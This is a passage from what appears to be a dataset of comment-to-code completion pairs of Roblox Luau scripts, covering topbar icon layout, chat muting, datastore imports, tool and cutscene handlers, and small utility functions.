do\n\t\t\t\t\t\tlocal endIcon = recordToCheck[totalIcons+1 - i]\n\t\t\t\t\t\tif IconController.canShowIconOnTopbar(endIcon) then\n\t\t\t\t\t\t\tlocal isAnOverflowIcon = string.match(endIcon.name, \"_overflowIcon-\")\n\t\t\t\t\t\t\tif isAnOverflowIcon and totalIcons ~= 1 then\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\telseif isAnOverflowIcon and not endIcon.enabled then\n\t\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tlocal additionalMyX = 0\n\t\t\t\t\t\t\tif not overflowIcon.enabled then\n\t\t\t\t\t\t\t\tadditionalMyX = START_LEEWAY\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tlocal myBoundaryX = getBoundaryX(endIcon, alignment, additionalMyX)\n\t\t\t\t\t\t\tlocal isNowClosest = (alignment == \"left\" and myBoundaryX < closestBoundaryX) or (alignment == \"right\" and myBoundaryX > closestBoundaryX)\n\t\t\t\t\t\t\tif isNowClosest then\n\t\t\t\t\t\t\t\tclosestBoundaryX = myBoundaryX\n\t\t\t\t\t\t\t\tif doesExceed(myBoundaryX) then\n\t\t\t\t\t\t\t\t\texceededCriticalBoundary = true\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tcheckBoundaryExceeded(alignmentDetails[oppositeAlignment].records)\n\t\t\t\tcheckBoundaryExceeded(alignmentDetails.mid.records)\n\n\t\t\t\t-- This determines which icons to give to the overflow if an overlap is present\n\t\t\t\tif exceededCriticalBoundary then\n\t\t\t\t\tlocal recordToCheck = alignmentInfo.records\n\t\t\t\t\tlocal totalIcons = #recordToCheck\n\t\t\t\t\tfor i = 1, totalIcons do\n\t\t\t\t\t\tlocal endIcon = (alignment == \"left\" and recordToCheck[totalIcons+1 - i]) or (alignment == \"right\" and recordToCheck[i])\n\t\t\t\t\t\tif endIcon ~= overflowIcon and IconController.canShowIconOnTopbar(endIcon) then\n\t\t\t\t\t\t\tlocal additionalGap = alignmentGap\n\t\t\t\t\t\t\tlocal overflowIconSizeX = overflowIcon:get(\"iconSize\", overflowIcon:getIconState()).X.Offset\n\t\t\t\t\t\t\tif overflowIcon.enabled then\n\t\t\t\t\t\t\t\tadditionalGap += alignmentGap + overflowIconSizeX\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tlocal myBoundaryXPlusGap = getBoundaryX(endIcon, oppositeAlignment, additionalGap)\n\t\t\t\t\t\t\tlocal exceeds = (alignment == \"left\" and myBoundaryXPlusGap >= closestBoundaryX) or (alignment == \"right\" and myBoundaryXPlusGap <= closestBoundaryX)\n\t\t\t\t\t\t\tif exceeds then\n\t\t\t\t\t\t\t\tif not overflowIcon.enabled then\n\t\t\t\t\t\t\t\t\tlocal overflowContainer = overflowIcon.instances.iconContainer\n\t\t\t\t\t\t\t\t\tlocal yPos = overflowContainer.Position.Y\n\t\t\t\t\t\t\t\t\tlocal appearXAdditional = (alignment == \"left\" and -overflowContainer.Size.X.Offset) or 0\n\t\t\t\t\t\t\t\t\tlocal appearX = getBoundaryX(endIcon, oppositeAlignment, appearXAdditional)\n\t\t\t\t\t\t\t\t\toverflowContainer.Position = UDim2.new(0, appearX, yPos.Scale, yPos.Offset)\n\t\t\t\t\t\t\t\t\toverflowIcon:setEnabled(true)\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\tif #endIcon.dropdownIcons > 0 then\n\t\t\t\t\t\t\t\t\tendIcon._overflowConvertedToMenu = true\n\t\t\t\t\t\t\t\t\tlocal wasSelected = endIcon.isSelected\n\t\t\t\t\t\t\t\t\tendIcon:deselect()\n\t\t\t\t\t\t\t\t\tlocal iconsToConvert = {}\n\t\t\t\t\t\t\t\t\tfor _, dIcon in pairs(endIcon.dropdownIcons) do\n\t\t\t\t\t\t\t\t\t\ttable.insert(iconsToConvert, dIcon)\n\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\t\tfor _, dIcon in pairs(endIcon.dropdownIcons) do\n\t\t\t\t\t\t\t\t\t\tdIcon:leave()\n\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\t\tendIcon:setMenu(iconsToConvert)\n\t\t\t\t\t\t\t\t\tif wasSelected and overflowIcon.isSelected then\n\t\t\t\t\t\t\t\t\t\tendIcon:select()\n\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\tif endIcon.hovering then\n\t\t\t\t\t\t\t\t\tendIcon.wasHoveringBeforeOverflow = true\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\tendIcon:join(overflowIcon, \"dropdown\")\n\t\t\t\t\t\t\t\tif #endIcon.menuIcons > 0 and endIcon.menuOpen then\n\t\t\t\t\t\t\t\t\tendIcon:deselect()\n\t\t\t\t\t\t\t\t\tendIcon:select()\n\t\t\t\t\t\t\t\t\toverflowIcon:select()\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\n\t\t\t\telse\n\t\t\t\t\t\n\t\t\t\t\t-- This checks to see if the lowest/highest (depending on left/right) ordered overlapping icon is no longer overlapping, removes from the dropdown, and repeats if valid\n\t\t\t\t\tlocal winningOrder, winningOverlappedIcon\n\t\t\t\t\tlocal totalOverlappingIcons = #overflowIcon.dropdownIcons\n\t\t\t\t\tif not (oppositeOverflowIcon and oppositeOverflowIcon.enabled and #alignmentInfo.records == 1 and #oppositeAlignmentInfo.records ~= 1) then\n\t\t\t\t\t\tfor _, overlappedIcon in pairs(overflowIcon.dropdownIcons) do\n\t\t\t\t\t\t\tlocal iconOrder = overlappedIcon:get(\"order\")\n\t\t\t\t\t\t\tif winningOverlappedIcon == nil or (alignment == \"left\" and iconOrder < winningOrder) or (alignment == \"right\" and iconOrder > winningOrder) then\n\t\t\t\t\t\t\t\twinningOrder = iconOrder\n\t\t\t\t\t\t\t\twinningOverlappedIcon = overlappedIcon\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\tif winningOverlappedIcon then\n\t\t\t\t\t\tlocal sizeX = getSizeX(winningOverlappedIcon, true)\n\t\t\t\t\t\tlocal myForesightBoundaryX = getBoundaryX(overflowIcon, oppositeAlignment)\n\t\t\t\t\t\tif totalOverlappingIcons == 1 then\n\t\t\t\t\t\t\tmyForesightBoundaryX = getBoundaryX(overflowIcon, alignment, alignmentGap-START_LEEWAY)\n\t\t\t\t\t\tend\n\t\t\t\t\t\tlocal availableGap = math.abs(closestBoundaryX - myForesightBoundaryX) - (alignmentGap*2)\n\t\t\t\t\t\tlocal noLongerExeeds = (sizeX < availableGap)\n\t\t\t\t\t\tif noLongerExeeds then\n\t\t\t\t\t\t\tif #overflowIcon.dropdownIcons == 1 then\n\t\t\t\t\t\t\t\toverflowIcon:setEnabled(false)\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tlocal overflowContainer = overflowIcon.instances.iconContainer\n\t\t\t\t\t\t\tlocal yPos = overflowContainer.Position.Y\n\t\t\t\t\t\t\toverflowContainer.Position = UDim2.new(0, myForesightBoundaryX, yPos.Scale, yPos.Offset)\n\t\t\t\t\t\t\twinningOverlappedIcon:leave()\n\t\t\t\t\t\t\twinningOverlappedIcon.wasHoveringBeforeOverflow = nil\n\t\t\t\t\t\t\t--\n\t\t\t\t\t\t\tif winningOverlappedIcon._overflowConvertedToMenu then\n\t\t\t\t\t\t\t\twinningOverlappedIcon._overflowConvertedToMenu = nil\n\t\t\t\t\t\t\t\tlocal iconsToConvert = {}\n\t\t\t\t\t\t\t\tfor _, dIcon in pairs(winningOverlappedIcon.menuIcons) do\n\t\t\t\t\t\t\t\t\ttable.insert(iconsToConvert, dIcon)\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\tfor _, dIcon in pairs(winningOverlappedIcon.menuIcons) do\n\t\t\t\t\t\t\t\t\tdIcon:leave()\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\twinningOverlappedIcon:setDropdown(iconsToConvert)\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t--\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t--------\n\t\tif requestedTopbarUpdate then\n\t\t\trequestedTopbarUpdate = false\n\t\t\tIconController.updateTopbar()\n\t\tend\n\t\treturn true\n\tend)()\nend\n\nfunction IconController.setTopbarEnabled(bool, forceBool)\n\tif forceBool == nil then\n\t\tforceBool = true\n\tend\n\tlocal indicator = TopbarPlusGui.Indicator\n\tif forceBool and not bool then\n\t\tforceTopbarDisabled = true\n\telseif forceBool and bool then\n\t\tforceTopbarDisabled = false\n\tend\n\tlocal topbarEnabledAccountingForMimic = checkTopbarEnabledAccountingForMimic()\n\tif IconController.controllerModeEnabled then\n\t\tif bool then\n\t\t\tif TopbarPlusGui.TopbarContainer.Visible or forceTopbarDisabled or menuOpen or not topbarEnabledAccountingForMimic then return end\n\t\t\tif forceBool then\n\t\t\t\tindicator.Visible = topbarEnabledAccountingForMimic\n\t\t\telse\n\t\t\t\tif hapticService:IsVibrationSupported(Enum.UserInputType.Gamepad1) and hapticService:IsMotorSupported(Enum.UserInputType.Gamepad1,Enum.VibrationMotor.Small) then\n\t\t\t\t\thapticService:SetMotor(Enum.UserInputType.Gamepad1,Enum.VibrationMotor.Small,1)\n\t\t\t\t\tdelay(0.2,function()\n\t\t\t\t\t\tpcall(function()\n\t\t\t\t\t\t\thapticService:SetMotor(Enum.UserInputType.Gamepad1,Enum.VibrationMotor.Small,0)\n\t\t\t\t\t\tend)\n\t\t\t\t\tend)\n\t\t\t\tend\n\t\t\t\tTopbarPlusGui.TopbarContainer.Visible = true\n\t\t\t\tTopbarPlusGui.TopbarContainer:TweenPosition(\n\t\t\t\t\tUDim2.new(0,0,0,5 + STUPID_CONTROLLER_OFFSET),\n\t\t\t\t\tEnum.EasingDirection.Out,\n\t\t\t\t\tEnum.EasingStyle.Quad,\n\t\t\t\t\t0.1,\n\t\t\t\t\ttrue\n\t\t\t\t)\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tlocal selectIcon\n\t\t\t\tlocal targetOffset = 0\n\t\t\t\tIconController:_updateSelectionGroup()\n\t\t\t\trunService.Heartbeat:Wait()\n\t\t\t\tlocal indicatorSizeTrip = 50 --indicator.AbsoluteSize.Y * 2\n\t\t\t\tfor otherIcon, _ in pairs(topbarIcons) do\n\t\t\t\t\tif IconController.canShowIconOnTopbar(otherIcon) and (selectIcon == nil or otherIcon:get(\"order\") > selectIcon:get(\"order\")) then\n\t\t\t\t\t\tselectIcon = otherIcon\n\t\t\t\t\tend\n\t\t\t\t\tlocal container = otherIcon.instances.iconContainer\n\t\t\t\t\tlocal newTargetOffset = -27 + container.AbsoluteSize.Y + indicatorSizeTrip\n\t\t\t\t\tif newTargetOffset > targetOffset then\n\t\t\t\t\t\ttargetOffset = newTargetOffset\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tif guiService:GetEmotesMenuOpen() then\n\t\t\t\t\tguiService:SetEmotesMenuOpen(false)\n\t\t\t\tend\n\t\t\t\tif guiService:GetInspectMenuEnabled() then\n\t\t\t\t\tguiService:CloseInspectMenu()\n\t\t\t\tend\n\t\t\t\tlocal newSelectedObject = IconController._previousSelectedObject or selectIcon.instances.iconButton\n\t\t\t\tIconController._setControllerSelectedObject(newSelectedObject)\n\t\t\t\tindicator.Image = \"rbxassetid://5278151071\"\n\t\t\t\tindicator:TweenPosition(\n\t\t\t\t\tUDim2.new(0.5,0,0,targetOffset + STUPID_CONTROLLER_OFFSET),\n\t\t\t\t\tEnum.EasingDirection.Out,\n\t\t\t\t\tEnum.EasingStyle.Quad,\n\t\t\t\t\t0.1,\n\t\t\t\t\ttrue\n\t\t\t\t)\n\t\t\tend\n\t\telse\n\t\t\tif forceBool then\n\t\t\t\tindicator.Visible = false\n\t\t\telse\n\t\t\t\tindicator.Visible = topbarEnabledAccountingForMimic\n\t\t\tend\n\t\t\tif not TopbarPlusGui.TopbarContainer.Visible then return end\n\t\t\tguiService.AutoSelectGuiEnabled = true\n\t\t\tIconController:_updateSelectionGroup(true)\n\t\t\tTopbarPlusGui.TopbarContainer:TweenPosition(\n\t\t\t\tUDim2.new(0,0,0,-TopbarPlusGui.TopbarContainer.Size.Y.Offset + STUPID_CONTROLLER_OFFSET),\n\t\t\t\tEnum.EasingDirection.Out,\n\t\t\t\tEnum.EasingStyle.Quad,\n\t\t\t\t0.1,\n\t\t\t\ttrue,\n\t\t\t\tfunction()\n\t\t\t\t\tTopbarPlusGui.TopbarContainer.Visible = false\n\t\t\t\tend\n\t\t\t)\n\t\t\tindicator.Image = \"rbxassetid://5278151556\"\n\t\t\tindicator:TweenPosition(\n\t\t\t\tUDim2.new(0.5,0,0,5),\n\t\t\t\tEnum.EasingDirection.Out,\n\t\t\t\tEnum.EasingStyle.Quad,\n\t\t\t\t0.1,\n\t\t\t\ttrue\n\t\t\t)\n\t\tend\n\telse\n\t\tlocal topbarContainer = TopbarPlusGui.TopbarContainer\n\t\tif topbarEnabledAccountingForMimic then\n\t\t\ttopbarContainer.Visible = bool\n\t\telse\n\t\t\ttopbarContainer.Visible = false\n\t\tend\n\tend\nend\n\nfunction IconController.setGap(value, alignment)\n\tlocal newValue = tonumber(value) or 12\n\tlocal newAlignment = tostring(alignment):lower()\n\tif newAlignment == \"left\" or newAlignment == \"mid\" or newAlignment == \"right\" then\n\t\tIconController[newAlignment..\"Gap\"] = newValue\n\t\tIconController.updateTopbar()\n\t\treturn\n\tend\n\tIconController.leftGap = newValue\n\tIconController.midGap = newValue\n\tIconController.rightGap = newValue\n\tIconController.updateTopbar()\nend\n\nfunction IconController.setLeftOffset(value)\n\tIconController.leftOffset = tonumber(value) or 0\n\tIconController.updateTopbar()\nend\n\nfunction IconController.setRightOffset(value)\n\tIconController.rightOffset = tonumber(value) or 0\n\tIconController.updateTopbar()\nend\n\nlocal localPlayer = players.LocalPlayer\nlocal iconsToClearOnSpawn = {}\nlocalPlayer.CharacterAdded:Connect(function()\n\tfor _, icon in pairs(iconsToClearOnSpawn) do\n\t\ticon:destroy()\n\tend\n\ticonsToClearOnSpawn = {}\nend)\nfunction IconController.clearIconOnSpawn(icon)\n\tcoroutine.wrap(function()\n\t\tlocal char = localPlayer.Character or localPlayer.CharacterAdded:Wait()\n\t\ttable.insert(iconsToClearOnSpawn, icon)\n\tend)()\nend\n\n\n"} +{"prompt": "-- This is pcalled because the SetCore methods may not be released yet.", "completion": "\npcall(function()\n\tPlayerBlockedEvent = StarterGui:GetCore(\"PlayerBlockedEvent\")\n\tPlayerMutedEvent = StarterGui:GetCore(\"PlayerMutedEvent\")\n\tPlayerUnBlockedEvent = StarterGui:GetCore(\"PlayerUnblockedEvent\")\n\tPlayerUnMutedEvent = StarterGui:GetCore(\"PlayerUnmutedEvent\")\nend)\n\nfunction SendSystemMessageToSelf(message)\n\tlocal currentChannel = ChatWindow:GetCurrentChannel()\n\n\tif currentChannel then\n\t\tlocal messageData = {\n\t\t\tID = -1,\n\t\t\tFromSpeaker = nil,\n\t\t\tSpeakerUserId = 0,\n\t\t\tOriginalChannel = currentChannel.Name,\n\t\t\tIsFiltered = true,\n\t\t\tMessageLength = string.len(message),\n\t\t\tMessageLengthUtf8 = utf8.len(utf8.nfcnormalize(message)),\n\t\t\tMessage = trimTrailingSpaces(message),\n\t\t\tMessageType = ChatConstants.MessageTypeSystem,\n\t\t\tTime = os.time(),\n\t\t\tExtraData = nil,\n\t\t}\n\n\t\tcurrentChannel:AddMessageToChannel(messageData)\n\tend\nend\n\nfunction MutePlayer(player)\n\tlocal mutePlayerRequest = DefaultChatSystemChatEvents:FindFirstChild(\"MutePlayerRequest\")\n\tif mutePlayerRequest then\n\t\treturn mutePlayerRequest:InvokeServer(player.Name)\n\tend\n\treturn false\nend\n\nif PlayerBlockedEvent then\n\tPlayerBlockedEvent.Event:connect(function(player)\n\t\tif MutePlayer(player) then\n\t\t\tlocal playerName\n\n\t\t\tif ChatSettings.PlayerDisplayNamesEnabled then\n\t\t\t\tplayerName = player.DisplayName\n\t\t\telse\n\t\t\t\tplayerName = player.Name\n\t\t\tend\n\n\t\t\tSendSystemMessageToSelf(\n\t\t\t\tChatLocalization:Get(\n\t\t\t\t\t\"GameChat_ChatMain_SpeakerHasBeenBlocked\",\n\t\t\t\t\tstring.format(\"Speaker '%s' has been blocked.\", playerName),\n\t\t\t\t\t{ RBX_NAME = playerName }\n\t\t\t\t)\n\t\t\t)\n\t\tend\n\tend)\nend\n\nif PlayerMutedEvent then\n\tPlayerMutedEvent.Event:connect(function(player)\n\t\tif MutePlayer(player) then\n\t\t\tlocal playerName\n\n\t\t\tif ChatSettings.PlayerDisplayNamesEnabled then\n\t\t\t\tplayerName = player.DisplayName\n\t\t\telse\n\t\t\t\tplayerName = player.Name\n\t\t\tend\n\n\t\t\tSendSystemMessageToSelf(\n\t\t\t\tChatLocalization:Get(\n\t\t\t\t\t\"GameChat_ChatMain_SpeakerHasBeenMuted\",\n\t\t\t\t\tstring.format(\"Speaker '%s' has been muted.\", playerName),\n\t\t\t\t\t{ RBX_NAME = playerName }\n\t\t\t\t)\n\t\t\t)\n\t\tend\n\tend)\nend\n\nfunction UnmutePlayer(player)\n\tlocal unmutePlayerRequest = DefaultChatSystemChatEvents:FindFirstChild(\"UnMutePlayerRequest\")\n\tif unmutePlayerRequest then\n\t\treturn unmutePlayerRequest:InvokeServer(player.Name)\n\tend\n\treturn false\nend\n\nif PlayerUnBlockedEvent then\n\tPlayerUnBlockedEvent.Event:connect(function(player)\n\t\tif UnmutePlayer(player) then\n\t\t\tlocal playerName\n\n\t\t\tif ChatSettings.PlayerDisplayNamesEnabled then\n\t\t\t\tplayerName = player.DisplayName\n\t\t\telse\n\t\t\t\tplayerName = player.Name\n\t\t\tend\n\n\t\t\tSendSystemMessageToSelf(\n\t\t\t\tChatLocalization:Get(\n\t\t\t\t\t\"GameChat_ChatMain_SpeakerHasBeenUnBlocked\",\n\t\t\t\t\tstring.format(\"Speaker '%s' has been unblocked.\", playerName),\n\t\t\t\t\t{ RBX_NAME = playerName }\n\t\t\t\t)\n\t\t\t)\n\t\tend\n\tend)\nend\n\nif PlayerUnMutedEvent then\n\tPlayerUnMutedEvent.Event:connect(function(player)\n\t\tif UnmutePlayer(player) then\n\t\t\tlocal playerName\n\n\t\t\tif ChatSettings.PlayerDisplayNamesEnabled then\n\t\t\t\tplayerName = player.DisplayName\n\t\t\telse\n\t\t\t\tplayerName = player.Name\n\t\t\tend\n\n\t\t\tSendSystemMessageToSelf(\n\t\t\t\tChatLocalization:Get(\n\t\t\t\t\t\"GameChat_ChatMain_SpeakerHasBeenUnMuted\",\n\t\t\t\t\tstring.format(\"Speaker '%s' has been unmuted.\", playerName),\n\t\t\t\t\t{ RBX_NAME = playerName }\n\t\t\t\t)\n\t\t\t)\n\t\tend\n\tend)\nend\n"} +{"prompt": "-- Import into a single datastore:", "completion": "\nlocal function importPairsFromTable(origin, destination, interface, warnFunc, methodName, prefix, isOrdered)\n\tfor key, value in pairs(origin) do\n\t\tif type(key) ~= \"string\" then\n\t\t\twarnFunc((\"%s: ignored %s > '%s' (key is not a string, but a %s)\")\n\t\t\t\t:format(methodName, prefix, tostring(key), typeof(key)))\n\t\telseif not utf8.len(key) then\n\t\t\twarnFunc((\"%s: ignored %s > '%s' (key is not valid UTF-8)\")\n\t\t\t\t:format(methodName, prefix, tostring(key)))\n\t\telseif #key > Constants.MAX_LENGTH_KEY then\n\t\t\twarnFunc((\"%s: ignored %s > '%s' (key exceeds %d character limit)\")\n\t\t\t\t:format(methodName, prefix, key, Constants.MAX_LENGTH_KEY))\n\t\telseif type(value) == \"string\" and #value > Constants.MAX_LENGTH_DATA then\n\t\t\twarnFunc((\"%s: ignored %s > '%s' (length of value exceeds %d character limit)\")\n\t\t\t\t:format(methodName, prefix, key, Constants.MAX_LENGTH_DATA))\n\t\telseif type(value) == \"table\" and #HttpService:JSONEncode(value) > Constants.MAX_LENGTH_DATA then\n\t\t\twarnFunc((\"%s: ignored %s > '%s' (length of encoded value exceeds %d character limit)\")\n\t\t\t\t:format(methodName, prefix, key, Constants.MAX_LENGTH_DATA))\n\t\telseif type(value) == \"function\" or type(value) == \"userdata\" or type(value) == \"thread\" then\n\t\t\twarnFunc((\"%s: ignored %s > '%s' (cannot store value '%s' of type %s)\")\n\t\t\t\t:format(methodName, prefix, key, tostring(value), type(value)))\n\t\telseif isOrdered and type(value) ~= \"number\" then\n\t\t\twarnFunc((\"%s: ignored %s > '%s' (cannot store value '%s' of type %s in OrderedDataStore)\")\n\t\t\t\t:format(methodName, prefix, key, tostring(value), type(value)))\n\t\telseif isOrdered and value % 1 ~= 0 then\n\t\t\twarnFunc((\"%s: ignored %s > '%s' (cannot store non-integer value '%s' in OrderedDataStore)\")\n\t\t\t\t:format(methodName, prefix, key, tostring(value)))\n\t\telseif type(value) == \"string\" and not utf8.len(value) then\n\t\t\twarnFunc((\"%s: ignored %s > '%s' (string value is not valid UTF-8)\")\n\t\t\t\t:format(methodName, prefix, key, tostring(value), type(value)))\n\t\telse\n\t\t\tlocal isValid = true\n\t\t\tlocal keyPath, reason\n\t\t\tif type(value) == \"table\" then\n\t\t\t\tisValid, keyPath, reason = scanValidity(value)\n\t\t\tend\n\t\t\tif isOrdered then\n\t\t\t\tvalue = math.floor(value + .5)\n\t\t\tend\n\t\t\tif isValid then\n\t\t\t\tlocal old = destination[key]\n\t\t\t\tdestination[key] = value\n\t\t\t\tif interface and old ~= value then -- hacky block to fire OnUpdate signals\n\t\t\t\t\tif isOrdered and interface then -- hacky block to populate internal structures for OrderedDataStores\n\t\t\t\t\t\tif interface.__ref[key] then\n\t\t\t\t\t\t\tinterface.__ref[key].Value = value\n\t\t\t\t\t\t\tinterface.__changed = true\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tinterface.__ref[key] = {Key = key, Value = interface.__data[key]}\n\t\t\t\t\t\t\ttable.insert(interface.__sorted, interface.__ref[key])\n\t\t\t\t\t\t\tinterface.__changed = true\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\tinterface.__event:Fire(key, value)\n\t\t\t\tend\n\t\t\telse\n\t\t\t\twarnFunc((\"%s: ignored %s > '%s' (table has invalid entry at <%s>: %s)\")\n\t\t\t\t\t:format(methodName, prefix, key, getStringPath(keyPath), reason))\n\t\t\tend\n\t\tend\n\tend\nend\n"} +{"prompt": "--[[\n\n\tLOWGames Studios\n\tDate: 27 October 2022\n\tby Elder\n\t\n]]", "completion": "--\n\nwhile not require(game.ReplicatedStorage:WaitForChild(\"Framework\"):WaitForChild(\"Library\")).Loaded do\n\tgame:GetService(\"RunService\").Heartbeat:Wait();\nend;\nreturn function(p1, p2, ...)\n\tp1.title.Text = ...;\nend;\n"} +{"prompt": "-- Function to bind to reload event", "completion": "\nlocal function reload()\n\tif not reloading then\n\t\ttool.ReloadSound:Play()\n\t\treloading = true\n\t\tcanFire = false\n\t\twait(reloadTime)\n\t\tcurrentAmmo = clipSize\n\t\tcanFire = true\n\t\treloading = false\n\tend\nend\n\nreloadEvent.OnServerEvent:connect(reload)\n"} +{"prompt": "--Muffins stuff that has to do with the module things", "completion": "\nlocal ComfShift = _Tune.ComfortShift\n\n\n"} +{"prompt": "-- Support for debounce", "completion": "\nfunction PlayCutscene()\n\tif bin then\n\t\tbin = false\n\t\tMusic:Play()\n\t\tif ProtectTheCharacterWhilePlaying and ProtectTheCharacterWhilePlaying.Value and Player.Character then\n\t\t\tCharacterProtector.Parent = Player.Character\n\t\tend\n\t\tDemo:Play()\n\tend\nend\n\nDemo.EStop.Event:Connect(function()\n\twait_time(Debounce.Value)\n\tCharacterProtector.Parent = nil\n\tif PlayOnce then\n\t\tif not PlayOnce.Value then\n\t\t\tbin = true\n\t\tend\n\telse\n\t\tbin = true\n\tend\n\tif StopMusicWhenFinished and StopMusicWhenFinished.Value then\n\t\tMusic:Stop()\n\t\tif OnFinishedRemove then\n\t\t\tfor i,v in pairs(OnFinishedRemove:GetChildren()) do\n\t\t\t\tif v:IsA(\"ObjectValue\") then\n\t\t\t\t\tif v.Value then\n\t\t\t\t\t\tv.Value:Destroy()\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\nend)\n"} +{"prompt": "-- Bind drawer opening function to remote event", "completion": "\nfor _, Child in pairs(dresser:GetChildren()) do\n\tif Child.ClassName == \"Model\" and Child.Name == \"Drawer\" then\n\t\tChild.DrawerPadding.ROBLOXInteractionEvent.OnServerEvent:connect(function(player, arguments)\n\t\t\topenDrawer(player, Child)\n\t\tend)\n\t\tChild.PrimaryPart = Child.Front\n\tend\nend\n\nwhile true do\n\tfor _, drawer in pairs(dresser:GetChildren()) do\n\t\tif drawer.ClassName == \"Model\" and drawer.Name == \"Drawer\" then\n\t\t\tlocal drawerStep = drawer.Front.CFrame.lookVector.unit * stepDistance\n\t\t\tif drawer.Open.Value and drawer.Step.Value < 20 then\n\t\t\t\tdrawer:SetPrimaryPartCFrame(drawer.Front.CFrame + drawerStep)\n\t\t\t\tdrawer.Step.Value = drawer.Step.Value + 1\n\t\t\tend\n\t\t\tif not drawer.Open.Value and drawer.Step.Value > 0 then\n\t\t\t\tdrawer:SetPrimaryPartCFrame(drawer.Front.CFrame - drawerStep)\n\t\t\t\tdrawer.Step.Value = drawer.Step.Value - 1\n\t\t\tend\n\t\tend\n\tend\n\twait()\nend\n"} +{"prompt": "-- Unequip logic here", "completion": "\nfunction OnUnequipped()\n\tLeftButtonDown = false\n\tReloading = false\n\tMyCharacter = nil\n\tMyHumanoid = nil\n\tMyTorso = nil\n\tMyPlayer = nil\n\tif OnFireConnection then\n\t\tOnFireConnection:disconnect()\n\tend\n\tif OnReloadConnection then\n\t\tOnReloadConnection:disconnect()\n\tend\n\tif FlashHolder then\n\t\tFlashHolder = nil\n\tend\n\tif WeaponGui then\n\t\tWeaponGui.Parent = nil\n\t\tWeaponGui = nil\n\tend\n\tif EquipTrack then\n\t\tEquipTrack:Stop()\n\tend\n\tif PumpTrack then\n\t\tPumpTrack:Stop()\n\tend\nend\n\nTool.Equipped:connect(OnEquipped)\nTool.Unequipped:connect(OnUnequipped)\n"} +{"prompt": "-- Implements Javascript's `Array.prototype.every` as defined below\n-- https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/every", "completion": "\nreturn function(t: Array, callback: callbackFn | callbackFnWithThisArg, thisArg: U?): boolean\n\tif _G.__DEV__ then\n\t\tif typeof(t) ~= \"table\" then\n\t\t\terror(string.format(\"Array.every called on %s\", typeof(t)))\n\t\tend\n\t\tif typeof(callback) ~= \"function\" then\n\t\t\terror(\"callback is not a function\")\n\t\tend\n\tend\n\n\tlocal len = #t\n\tlocal k = 1\n\n\twhile k <= len do\n\t\tlocal kValue = t[k]\n\t\tlocal testResult\n\n\t\tif kValue ~= nil then\n\t\t\tif thisArg ~= nil then\n\t\t\t\ttestResult = (callback :: callbackFnWithThisArg)(thisArg, kValue, k, t)\n\t\t\telse\n\t\t\t\ttestResult = (callback :: callbackFn)(kValue, k, t)\n\t\t\tend\n\n\t\t\tif not testResult then\n\t\t\t\treturn false\n\t\t\tend\n\t\tend\n\t\tk += 1\n\tend\n\treturn true\nend\n"} +{"prompt": "--[[\nCreates a top wall part.\n--]]", "completion": "\nlocal function CreateTopWallPart(Size,CF,Parent)\n\treturn CreatePart(TOP_WALL_COLOR,Size,CF,Parent)\nend\n\n\n"} +{"prompt": "-- Libraries", "completion": "\nlocal Support = require(Libraries:WaitForChild 'SupportLibrary')\nlocal Roact = require(Vendor:WaitForChild 'Roact')\n"} +{"prompt": "-- CONNECTIONS\n-- RenderStep", "completion": "\nRunService:BindToRenderStep(\"InteractionCheck\", Enum.RenderPriority.Camera.Value-1, interactionCheck)\n"} +{"prompt": "--Global reference interface", "completion": "\nfunction global_reference:Get()\n\tif self.cur_p == nil then\n\t\tInitialReference(self)\n\tend\n\treturn self.cur_p\nend\n\nreturn global_reference\n"} +{"prompt": "--[[**\n\tensures value is an integer\n\n\t@param value The value to check against\n\n\t@returns True iff the condition is satisfied, false otherwise\n**--]]", "completion": "\nfunction t.integer(value)\n\tlocal success, errMsg = t.number(value)\n\tif not success then\n\t\treturn false, errMsg or \"\"\n\tend\n\n\tif value % 1 == 0 then\n\t\treturn true\n\telse\n\t\treturn false, string.format(\"integer expected, got %s\", value)\n\tend\nend\n"} +{"prompt": "-- declarations", "completion": "\n\nlocal sDied = newSound(\"rbxasset://sounds/uuhhh.wav\")\nsDied.Pitch = 0.75\nlocal sFallingDown = newSound(\"rbxasset://sounds/splat.wav\")\nlocal sFreeFalling = newSound(\"rbxasset://sounds/swoosh.wav\")\nlocal sGettingUp = newSound(\"rbxasset://sounds/hit.wav\")\nlocal sJumping = newSound(\"rbxasset://sounds/button.wav\")\nlocal sRunning = newSound(\"rbxasset://sounds/bfsl-minifigfoots1.mp3\")\nsRunning.Looped = true\n\nlocal Figure = script.Parent\nlocal Head = waitForChild(Figure, \"Head\")\nlocal Humanoid = waitForChild(Figure, \"Humanoid\")\n"} +{"prompt": "--Made by Stickmasterluke", "completion": 